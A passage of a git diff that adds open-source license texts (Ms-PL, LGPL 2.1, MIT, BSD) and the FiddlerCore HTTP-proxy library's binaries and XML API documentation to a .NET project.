works of the contribution in the software. + +3. Conditions and Limitations + +(A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks. + +(B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically. + +(C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software. + +(D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license. + +(E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement. \ No newline at end of file diff --git a/ExternalLicenses/FiddleCore License.txt b/ExternalLicenses/FiddleCore License.txt new file mode 100644 index 0000000..c196c3b --- /dev/null +++ b/ExternalLicenses/FiddleCore License.txt @@ -0,0 +1,14 @@ +By using this software, you accept these terms. If you do not accept these terms, do not install, build upon, distribute, or use the software. + +The software (FiddlerCore) is provided "as is" and you bear the risk of using it. In no event shall I, Eric Lawrence, be liable for any consequential, special, incidental or indirect damages of any kind arising out of the delivery, performance or use of this software. This software was written with care, but no one warrants that the software is error free. + +Your sole remedy for any failure or any form of damage caused by this software is a full refund of the fee I have received from you, which in all cases is $0. + +You may use any number of copies of the software to design, develop and test your programs that run on a Microsoft Windows operating system. You may copy and distribute the software, in compiled form, to run on a Microsoft Windows operating system. Permission to redistribute FiddlerCore without charge is granted, subject to the following restrictions: You may not: 1> alter any copyright, trademark or patent notice in the software, 2> include the software in malicious, deceptive or unlawful programs. + +If you distribute the software, you must 1> require distributors and external end users to agree to terms that protect it at least as much as this agreement, 2> display your valid copyright notice on your programs, 3> indemnify, defend, and hold harmless Eric Lawrence from any claims, including attorneys’ fees, related to the distribution or use of your programs or to your modifications to the software. + +EXPORT RESTRICTIONS: The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to software. These laws include restrictions on destinations, end users and end use. +USE RESTRICTIONS: You warrant that your use of this software is legal and does not violate any law or regulation to which you are subject. + +FiddlerCore is ©2010 Eric Lawrence. All rights reserved. \ No newline at end of file diff --git a/ExternalLicenses/Html Agility Pack License.txt b/ExternalLicenses/Html Agility Pack License.txt new file mode 100644 index 0000000..da3dc93 --- /dev/null +++ b/ExternalLicenses/Html Agility Pack License.txt @@ -0,0 +1,31 @@ +Microsoft Public License (Ms-PL) + +This license governs use of the accompanying software. If you use the software, you accept this license. If you do not accept the license, do not use the software. + +1. Definitions + +The terms "reproduce," "reproduction," "derivative works," and "distribution" have the same meaning here as under U.S. copyright law. + +A "contribution" is the original software, or any additions or changes to the software. + +A "contributor" is any person that distributes its contribution under this license. + +"Licensed patents" are a contributor's patent claims that read directly on its contribution. + +2. Grant of Rights + +(A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create. + +(B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software. + +3. Conditions and Limitations + +(A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks. + +(B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically. + +(C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software. + +(D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license. + +(E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement. \ No newline at end of file diff --git a/ExternalLicenses/ICSharpCode.TextEditor License.txt b/ExternalLicenses/ICSharpCode.TextEditor License.txt new file mode 100644 index 0000000..e8fd74c --- /dev/null +++ b/ExternalLicenses/ICSharpCode.TextEditor License.txt @@ -0,0 +1,458 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS diff --git a/ExternalLicenses/Jint License.txt b/ExternalLicenses/Jint License.txt new file mode 100644 index 0000000..963bcfe --- /dev/null +++ b/ExternalLicenses/Jint License.txt @@ -0,0 +1,52 @@ +The MIT License (MIT) +Copyright (c) 2009 Evaluant + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and +associated documentation files (the "Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the +following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial +portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT +LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN +NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +------------------------------------------------------------- + +The ES3 grammar is based on work under the following licence: + +Software License Agreement (BSD License) + +Copyright (c) 2008-2009, Xebic Research B.V. +All rights reserved. + +Redistribution and use of this software in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list ofe conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of Xebic Research B.V. nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of Xebic Research B.V. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/ExternalLicenses/Json.NET License.txt b/ExternalLicenses/Json.NET License.txt new file mode 100644 index 0000000..c96b578 --- /dev/null +++ b/ExternalLicenses/Json.NET License.txt @@ -0,0 +1,7 @@ +Copyright (c) 2007 James Newton-King + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/ExternalLicenses/jsbeautifylib License.txt b/ExternalLicenses/jsbeautifylib License.txt new file mode 100644 index 0000000..c177092 --- /dev/null +++ b/ExternalLicenses/jsbeautifylib License.txt @@ -0,0 +1,7 @@ +Copyright (c) 2009 Rekna + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/FiddlerCore.dll b/FiddlerCore.dll new file mode 100644 index 0000000..278e59f Binary files /dev/null and b/FiddlerCore.dll differ diff --git a/FiddlerCore.pdb b/FiddlerCore.pdb new file mode 100644 index 0000000..42bf946 Binary files /dev/null and b/FiddlerCore.pdb differ diff --git a/FiddlerCore.xml b/FiddlerCore.xml new file mode 100644 index 0000000..7de7d77 --- /dev/null +++ b/FiddlerCore.xml @@ -0,0 +1,6362 @@ + + + + FiddlerCore + + + + + Wrapper for WinINET cache APIs. + + + + + Clear all HTTP Cookies from the WinINET Cache + + + + + Clear all files from the WinINET Cache + + + + + Delete all permanent WinINET cookies for sHost; won't clear memory-only session cookies. Supports hostnames with an optional leading wildcard, e.g. *example.com. NOTE: Will not work on VistaIE Protected Mode cookies. + + The hostname whose cookies should be cleared + + + + Clear the Cache items. Note: May be synchronous, may be asynchronous. + + TRUE if cache files should be cleared + TRUE if cookies should be cleared + + + + For PInvoke: Contains information about an entry in the Internet cache + + + + + Wrapper for WinINET proxy configuration APIs + + + + + Hostnames of sites to bypass proxy. <local> is common. + + + + + Allow direct connection to host + + + + + Attempt WPAD autoproxy detection + + + + + Ignore WinINET "no autoproxy unticks box" optimization + + + + + Use user-supplied URL to get FindProxyForURL script + + + + + Use user-supplied manual/fixed proxy address list + + + + + WPAD script url that may be used if _bUseScript true + + + + + Gathers proxy information from a named connection. + + Pass DefaultLAN to look for the "null" connection + Proxy info, or null + + + + Get a string describing the proxy settings + + Returns a multi-line string representing the proxy settings + + + + Calculate a string suitable for passing into WinINET APIs. + + Returns a string containing proxy information, or NULL. NB: I've seen WinINET blow up when passed String.Empty rather than null. + + + + + Given a proxy string, we crack out the proxy gateways for each protocol + + e.g. HTTP=itgproxy:80;FTP=ftpprox:21; + false on error + + + + Fills this WinINETProxyInfo instance with settings from specified WinINET connection. + + Name of the connection. Pass NULL for LAN connection. + TRUE if the settings were successfully retrieved. + + + + Sets WinINET proxy settings for specified connection to those specified in this WinINETProxy instance. + + Name of the connection. Pass NULL for LAN connection. + + + + Semi-colon delimited list of hostnames that should bypass the fixed proxy + + + + + TRUE if manually-specified proxy should be used. + + + + + TRUE if a direct HTTP connection may be made if AutoProxy/PAC is unreachable or corrupt + + + + + True if the proxy should be bypassed for dotless hostnames. + NOTE: Simply looks at the bypassList string to see if it contains a LOCAL rule. + + + + + String representing the endpoint of the proxy for HTTP-traffic, if configured + + + + + String representing the endpoint of the proxy for HTTPS-traffic, if configured + + + + + String representing the endpoint of the proxy for FTP-traffic, if configured + + + + + String representing the endpoint of the proxy for SOCKS-traffic, if configured + + + + + Bool indicating whether this connection is set to autodetect the proxy + + + + + Returns a string pointing to the ProxyAutoConfig script, or null if there is no such URL or it is not enabled + + + + + Provides simple utility functions common to both ClientHello and ServerHello parsing + + + + + Gets a textual string from a TLS extension + + + + + Converts a HTTPS version to a "Major.Minor (Friendly)" string + + + + + The HTTPSClientHello class is used to parse the bytes of a HTTPS ClientHello message. + + + + + Map cipher id numbers to names. See http://www.iana.org/assignments/tls-parameters/ + + + + + Parse a single extension using the list from http://tools.ietf.org/html/rfc6066 + http://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xml + + + + + + + Did client use ALPN to go to SPDY? + + + + + Parse a single extension using the list from http://tools.ietf.org/html/rfc6066 + + + + + + + Did this ServerHello Handshake specify an upgrade to SPDY? + + + + + The Session object manages the complete HTTP session including the UI listitem, the ServerChatter, and the ClientChatter. + + + + + Should we try to use the SPNToken type? + Cached for performance reasons + + + + + Sorta hacky, we may use a .NET WebRequest object to generate a valid NTLM/Kerberos response if the server + demands authentication and the Session is configured to automatically respond. + + + + + Used if the Session is bound to a WebSocket or CONNECTTunnel + + + + + Sets or unsets the specified SessionFlag(s) + + SessionFlags + Desired set value + + + + Test the session's BitFlags + + One or more (OR'd) SessionFlags + TRUE if specified flag(s) are set + + + + Test the session's BitFlags + + One or more (OR'd) SessionFlags + TRUE if any of specified flag(s) are set + + + + Should response be buffered for tampering + + + + + Timers stored as this Session progresses + + + + + ListViewItem object associated with this session in the Session list. + + + + + Field is set to False if socket is poisoned due to HTTP errors. + + + + + Object representing the HTTP Response. + + + + + Object representing the HTTP Request. + + + + + Fiddler-internal flags set on the session. + + + + + Contains the bytes of the request body. + + + + + Contains the bytes of the response body. + + + + + IP Address of the client for this session. + + + + + Client port attached to Fiddler. + + + + + IP Address of the server for this session. + + + + + Event object used for pausing and resuming the thread servicing this session + + + + + Returns TRUE if the Session's HTTP Method is available and matches the target method. + + The target HTTP Method being compared. + true, if the method is specified and matches sTestFor (case-insensitive); otherwise false. + + + + Returns TRUE if the Session's target hostname (no port) matches sTestHost (case-insensitively). + + The host to which this session's host should be compared. + True if this session is targeted to the specified host. + + + + Replaces any characters in a filename that are unsafe with safe equivalents, and trim to 160 characters. + + + + + + + Notify extensions if this session naturally led to another (e.g. due to redirect chasing or Automatic Authentication) + + The original session + The new session created + + + + Returns HTML representing the session. Call Utilities.StringToCF_HTML on the result of this function before placing it on the clipboard. + + TRUE if only the headers should be copied. + A HTML-formatted fragment representing the current session. + + + + Store this session's request and response to a string. + + If true, return only the request and response headers + String representing this session + + + + Store this session's request and response to a string. + + A string containing the content of the request and response. + + + + This private method pauses the Session's thread to allow breakpoint debugging + + + + + This method resumes the Session's thread in response to "Continue" commands from the UI + + + + + Called by an AcceptConnection-spawned background thread, create a new session 